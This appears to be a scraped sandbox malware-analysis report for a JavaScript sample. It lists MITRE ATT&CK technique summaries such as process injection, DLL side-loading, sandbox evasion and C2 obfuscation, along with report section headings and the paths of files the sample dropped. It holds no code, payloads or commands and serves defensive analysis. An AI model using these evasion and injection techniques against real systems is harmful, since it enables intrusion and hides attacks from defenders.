Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6043249381237528594.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\748ce650-26e6-473e-87d7-17883280656b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
6043249381237528594.js